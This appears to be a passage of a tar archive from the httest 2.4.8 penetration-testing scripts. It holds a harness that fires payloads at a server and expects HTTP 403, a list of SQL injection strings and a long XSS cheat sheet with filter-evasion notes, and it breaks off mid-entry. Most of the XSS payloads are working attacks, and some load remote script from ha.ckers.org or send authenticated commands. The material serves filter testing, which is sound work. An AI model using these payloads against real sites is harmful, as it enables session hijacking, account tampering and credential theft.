httest-2.4.8/0000775000175100017510000000000012205604047010045 500000000000000httest-2.4.8/scripts/0000775000175100017510000000000012205604045011532 500000000000000httest-2.4.8/scripts/pentester/0000775000175100017510000000000012205604045013543 500000000000000httest-2.4.8/scripts/pentester/sqlAttacks.xml0000664000175100017510000000232512203674076016332 00000000000000 Basic SQL Injection 1'GRABBER_SQL_INJECTION Logical OR SQL Injection 1' OR 1 OR 1=' Logical OR SQL Injection OR 1=1 Logical OR SQL Injection "OR "1"="1 Logical SQL Injection 1' OR 1 OR 1=' Comment SQL Injection ';-- Escape SQL Injection \'; GRABBER_SQL_STATEMENT; -- Evasion SQL Injection 1 UNI/**/ON SELECT ALL FROM WHERE httest-2.4.8/scripts/pentester/attacks.htb0000664000175100017510000000364312203674076015633 00000000000000REQUIRE_MODULE LUA BLOCK:LUA readFile name : ret assert(io.input(name)) local buf = io.read("*all") return buf END BLOCK attack host port url name code expect _MILESTONE $name _CODER:URLENC VAR(code) urlenc _REQ $host $port __GET ${url}?param=${urlenc} HTTP/1.1 __Host: $host:$port __Accept: text/html __User-Agent: httest/2.4.2 __ _EXPECT headers "$expect" _WAIT _REQ $host $port __GET ${url}?${urlenc}=foo HTTP/1.1 __Host: $host:$port __Accept: text/html __User-Agent: httest/2.4.2 __ _EXPECT headers "$expect" _WAIT _REQ $host $port __POST $url HTTP/1.1 __Host: $host:$port __Content-Length: AUTO __Content-Type: application/x-www-form-urlencoded __Accept: text/html __User-Agent: httest/2.4.2 __ _-param=$urlenc _EXPECT headers "$expect" _WAIT _REQ $host $port __POST $url HTTP/1.1 __Host: $host:$port __Content-Length: AUTO __Content-Type: application/x-www-form-urlencoded __Accept: text/html __User-Agent: httest/2.4.2 __ _-${urlenc}=fooo _EXPECT headers "$expect" _WAIT _END END BLOCK runAttacks type host port url attackerFile _AUTO_CLOSE on _REQ $host $port __GET $url?foo=bar&bla=fasel HTTP/1.1 __Host: $host:$port __Accept: text/html __User-Agent: httest/2.4.2 __ _EXPECT headers "HTTP/1.1 200" _WAIT _REQ $host $port __POST $url HTTP/1.1 __Host: $host:$port __Content-Length: AUTO __Content-Type: application/x-www-form-urlencoded __Accept: text/html __User-Agent: httest/2.4.2 __ _-foo=bar&bla=fasel _EXPECT headers "HTTP/1.1 200" _WAIT readFile "$attackerFile" BUF _XML:PARSE VAR(BUF) _XML:XPATH count(/${type}/attack) count _LOOP $count i=1 _XML:XPATH /${type}/attack[$i]/name name _XML:XPATH /${type}/attack[$i]/code code attack $host $port $url VAR(name) VAR(code) "HTTP/1.1 403" _END END httest-2.4.8/scripts/pentester/xssAttacks.xml0000664000175100017510000024601712203674076016360 00000000000000 XSS Locator ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] XSS Quick Test '';!--"<XSS>=&{()} If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] SCRIPT w/Alert() <SCRIPT>alert('XSS')</SCRIPT> Basic injection attack Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] SCRIPT w/Source File <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] SCRIPT w/Char Code <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] BASE <BASE HREF="javascript:alert('XSS');//"> Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] BGSOUND <BGSOUND SRC="javascript:alert('XSS');"> BGSOUND Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] BODY background-image <BODY BACKGROUND="javascript:alert('XSS');"> BODY image Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] BODY ONLOAD <BODY ONLOAD=alert('XSS')> BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack) Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] DIV background-image 1 <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Div background-image Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] DIV background-image 2 <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] DIV expression <DIV STYLE="width: expression(alert('XSS'));"> Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression" Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] FRAME <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> Frame (Frames have the same sorts of XSS problems as iframes). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] IFRAME <IFRAME SRC="javascript:alert('XSS');"></IFRAME> Iframe (If iframes are allowed there are a lot of other XSS problems as well). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] INPUT Image <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> INPUT Image Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] IMG w/JavaScript Directive <IMG SRC="javascript:alert('XSS');"> Image XSS using the JavaScript directive. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] IMG No Quotes/Semicolon <IMG SRC=javascript:alert('XSS')> No quotes and no semicolon Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] IMG Dynsrc <IMG DYNSRC="javascript:alert('XSS');"> IMG Dynsrc Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] IMG Lowsrc <IMG LOWSRC="javascript:alert('XSS');"> IMG Lowsrc Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] IMG Embedded commands 1 <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] IMG Embedded commands 2 Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] IMG STYLE w/expression exp/*<XSS STYLE='no\xss:noxss("*//*"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] List-style-image <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] IMG w/VBscript <IMG SRC='vbscript:msgbox("XSS")'> VBscript in an image Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] LAYER <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> Layer (Older Netscape only) Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] Livescript <IMG SRC="livescript:[code]"> Livescript (Older Netscape only) Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] US-ASCII encoding %BCscript%BEalert(%A2XSS%A2)%BC/script%BE Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>] META <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] META w/data:URL <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] META w/additional URL parameter <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Mocha <IMG SRC="mocha:[code]"> Mocha (Older Netscape only) Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] OBJECT <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] OBJECT w/Embedded XSS <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> Using an OBJECT tag you can embed XSS directly (this is unverified). Browser support: Embed Flash <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] OBJECT w/Flash 2 a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); Using this action script inside flash can obfuscate your XSS vector. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] STYLE <STYLE TYPE="text/javascript">alert('XSS');</STYLE> STYLE tag (Older versions of Netscape only) Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] STYLE w/Comment <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] STYLE w/Anonymous HTML <XSS STYLE="xss:expression(alert('XSS'))"> Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] STYLE w/background-image <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> STYLE tag using background-image. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] STYLE w/background <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> STYLE tag using background. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Stylesheet <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> Stylesheet Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] Remote Stylesheet 1 <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] Remote Stylesheet 2 <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] Remote Stylesheet 3 <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] Remote Stylesheet 4 <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] TABLE <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> Table background (who would have thought tables were XSS targets... except me, of course). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] TD <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> TD background. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] XML namespace <HTML xmlns:xss> <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> <xss:xss>XSS</xss:xss> </HTML> XML namespace. The .htc file must be located on the server as your XSS vector. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] XML data island w/CDATA <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] XML data island w/comment <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] XML (locally hosted) <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] XML HTML+TIME <HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Commented-out Block <!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]--> Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Cookie Manipulation <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] Local .htc file <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Rename .js to .jpg <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] SSI <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] PHP <? echo('<SCR)'; echo('IPT>alert("XSS")</SCRIPT>'); ?> PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] JavaScript Includes <BR SIZE="&{alert('XSS')}"> &JavaScript includes (works in Netscape 4.x). Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] Character Encoding Example < %3C &lt &lt; &LT &LT; &#60 &#060 &#0060 &#00060 &#000060 &#0000060 &#60; &#060; &#0060; &#00060; &#000060; &#0000060; &#x3c &#x03c &#x003c &#x0003c &#x00003c &#x000003c &#x3c; &#x03c; &#x003c; &#x0003c; &#x00003c; &#x000003c; &#X3c &#X03c &#X003c &#X0003c &#X00003c &#X000003c &#X3c; &#X03c; &#X003c; &#X0003c; &#X00003c; &#X000003c; &#x3C &#x03C &#x003C &#x0003C &#x00003C &#x000003C &#x3C; &#x03C; &#x003C; &#x0003C; &#x00003C; &#x000003C; &#X3C &#X03C &#X003C &#X0003C &#X00003C &#X000003C &#X3C; &#X03C; &#X003C; &#X0003C; &#X00003C; &#X000003C; \x3c \x3C \u003c \u003C All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). Browser support: Case Insensitive <IMG SRC=JaVaScRiPt:alert('XSS')> Case insensitive XSS attack vector. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] HTML Entities <IMG SRC=javascript:alert(&quot;XSS&quot;)> HTML entities (the semicolons are required for this to work). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] Grave Accents <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] Image w/CharCode <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] UTF-8 Unicode Encoding <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] Long UTF-8 Unicode w/out Semicolons <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] DIV w/Unicode <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. Browser support: [<span class="s">IE6.0</span>|<span 